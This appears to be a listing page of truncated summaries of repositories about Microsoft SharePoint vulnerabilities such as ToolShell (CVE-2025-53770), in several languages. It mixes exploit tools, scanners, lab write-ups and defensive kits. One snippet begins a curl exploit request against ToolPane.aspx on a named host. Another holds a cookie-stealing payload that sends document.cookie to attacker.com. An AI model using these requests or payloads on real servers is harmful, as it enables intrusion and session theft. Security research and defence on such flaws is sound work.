CVE-2025-53770

Divine Absolute - CVE-2025-53770 利用工具 概述 Divine Absolute 是一款先进的、向导驱动的 Python 利用工具，针对 CVE-2025-53770 ——微软本地 SharePoint Server（2016、2019、订阅版）中的一个严重（CVSS 9.8）未认证远程代码执行（RCE）漏洞。该漏洞于 2025 年 7 月 19 日作为零日漏洞披露，源于 /layouts/15/ToolPane.aspx 中对未受信任数据的反序列化。本工具专为 授权渗透测试和安全研究 设计，在侦察、利用和验证方面提供无与伦比的精确性、隐蔽性和适应性。 仓...

POC-CVE-2026-56164-exploit

CVE-2026-56164 — Exploit de omisión de autenticación en Microsoft SharePoint Server Crítico CVSS 9.8 — Escalada de privilegios no autenticada a Administrador de granja en Microsoft SharePoint Server Tabla de contenidos Descripción general Detalles de la vulnerabilidad Versiones afectadas Diagrama...

CVE-2026-50522

CVE-2026-50522 PoC: RCE por Deserialización de SharePoint Ejecución remota de código no autenticada en SharePoint Server mediante deserialización de la cookie SecurityContextToken Exploit de escaneo masivo para CVE-2026-50522 dirigido a Microsoft SharePoint Server local on-premises. Abusa de la...

Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE

Microsoft SharePoint Server 2016, 2019, Subscription Edition = 2026.3.1 contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint /trust/default.aspx. The SharePoint authentication module SPFederationAuthenticationModuleV2 uses a deflate-only...

CVE-2024-30043-XXE

CVE-2024-30043-XXE Créditos El impacto de la vulnerabilidad es limitado por ahora, pero gracias a https://x.com/chudyPB por proporcionar una ingeniosa idea de bypass. https://x.com/chudyPB...

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC Microsoft SharePoint Server 中存在一个严重漏洞，允许通过反序列化不受信任的数据实现未经身份验证的远程代码执行。Microsoft 已注意到该漏洞正被积极利用；请立即应用 CVE 缓解措施。严重性：严重。 命令 curl -sk -X POST 'https://reeaccated.com/layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' -H 'Referer:...

CVE-2025-53770-Checker

CVE-2025-53770-Checker 检查本地 SharePoint 服务器是否存在 CVE-2025-53770 漏洞 非侵入式检测器 ，用于检测 SharePoint Server 中的 CVE-2025-53770 漏洞 开发：Division81（Grupo Oruss 道德黑客团队） 技术描述 CVE-2025-53770 是 SharePoint 本地部署版 ViewState 管理器中一个严重的 .NET 反序列化漏洞，可导致无需认证的远程代码执行（RCE）:contentReferenceoaicite:1index=1。 利用方式是通过 POST 请求发送到 /...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Oye, en este laboratorio de LetsDefend me sumergí en un zero‑day de SharePoint llamado ToolShell CVE‑2025‑53770. Básicamente, simulé un ataque real donde una petición POST maliciosa eludió la autenticación, ejecutó PowerShell para...

CVE-2025-53770

Exploit RCE de SharePoint ToolPane Kit de herramientas de investigación de seguridad para probar vulnerabilidades de SharePoint ToolPane Descripción general • Características • Primeros pasos • Uso • Estructura del proyecto Este repositorio contiene exploits de prueba de concepto y herramientas d...

CVE-2025-53770-Scanner

CVE-2025-53770 扫描器 by DanSec 一款简单有效的侦察工具，用于识别潜在暴露于关键 SharePoint 漏洞 CVE-2025-53770 的系统。 !Warning 本工具仅供授权测试使用。 作者（DanSec）不承担 因未经授权扫描或使用导致的滥用或损失的任何责任。使用本工具前，请确保你拥有对任何域名或服务进行扫描的明确许可。 关于 CVE-2025-53770 CVE-2025-53770（“ToolShell”） 是一个影响本地 SharePoint Server 2016、2019 和订阅版（Subscription Edition）的关键漏洞。...

CVE-2023-29357-Check

CVE-2023-29357 Vulnerabilidad de Elevación de Privilegios en Microsoft SharePoint Server Este script te indicará si el objetivo es vulnerable a CVE-2023-29357 Uso python3 script.py Aviso Legal Este script es solo con fines educativos. No lo utilices contra objetivos sin consentimiento mutuo previ...

ZeroPoint

ZeroPoint.ps1 ⚠ 一款防御性 PowerShell 工具，用于检测和缓解 Microsoft SharePoint Server 中的 CVE-2025-53770 零日漏洞利用。 🔍 功能说明 该 PowerShell 脚本旨在： 检测入侵迹象，例如可疑的 .aspx webshell 解析 ULS 日志以识别反序列化/欺骗活动 验证关键安全设置，例如 AMSI 和 Microsoft Defender 提供 可选紧急缓解措施 以断开外部接口连接 🚨 CVE 详情 CVE: CVE-2025-53770 类型: 远程代码执行 RCE CVSS 评分: 9.8（严重） 受影...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

sharepoint-toolshell-cve-2025-53770

SharePoint "ToolShell" RCE Exploit CVE-2025-53770 Overview CVE-2025-53770 is a critical remote code execution RCE vulnerability affecting Microsoft SharePoint Server 2016, 2019, and Subscription Edition on-premises only, not SharePoint Online. Attackers can bypass authentication and achieve full...

Sharepoint-cve-2023-29375-incident-response

Análisis de Incidente SOC: Elevación de Privilegios en Microsoft SharePoint Server CVE-2023-29375 Una investigación de seguridad en profundidad de un intento crítico de explotación y enumeración dirigido a un servidor de Microsoft SharePoint. Resumen del Incidente Nombre de la alerta: SOC227 -...

Microsoft SharePoint Server - Authentication Bypass

Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. id: CVE-2025-49706 info: name: Microsoft SharePoint Server - Authentication Bypass author: daffainfo severity: medium description: | Improper authentication in Microsoft Offi...

Microsoft SharePoint Server - Authentication Bypass (ToolShell)

Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /layouts/15/ToolPane.aspx with a forged Referer header /layouts/SignOut.aspx, attackers can bypass authenticati...

CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation

🚨 CVE-2025-49706 – SharePoint 欺骗漏洞正遭到积极利用 作者：Aditya Bhatt – VAPT 专家 | 红队成员 📌 太长不看版 Microsoft SharePoint 正面临积极威胁。CVE‑2025‑49706，一个 SharePoint Server 中的欺骗漏洞，已从中等严重性演变为 现实世界武器化 ，其 变种 CVE‑2025‑53770 目前在野外被积极利用。如果你正在运行本地 SharePoint 2016、2019 或 Subscription Edition，请 立即修补 ，否则面临完全被攻陷的风险。 🧠 漏洞详情...

presentations

Mis presentaciones Se pueden encontrar más cosas en mi sitio personal: https://sites.google.com/site/zhiniangpeng Explotando vulnerabilidades de RCE de preautenticación y escape de sandbox en EXSi, Typhooncon 2023 Los objetos OLE siguen siendo peligrosos hoy en día — Explotando Microsoft Office,...

bluefire-sharepoint-cve-2025-53770

🔐 Bluefire Redteam – SharePoint CVE-2025-53770 检测与修复工具包 此开源工具包为安全团队提供了经过实战检验的脚本，用于检测、评估并修复关键的 SharePoint 零日漏洞 CVE-2025-53770（CVSS 9.8） ——该漏洞目前正在野外被利用。 由 Bluefire Redteam 维护，这是一家全球性进攻性安全公司。 ⚠️ 关于 CVE-2025-53770 漏洞类型 ：本地 SharePoint Server 中不可信数据的反序列化 影响 ：未经身份验证的远程代码执行 RCE、MachineKey 窃取、持久性入侵 影响版本...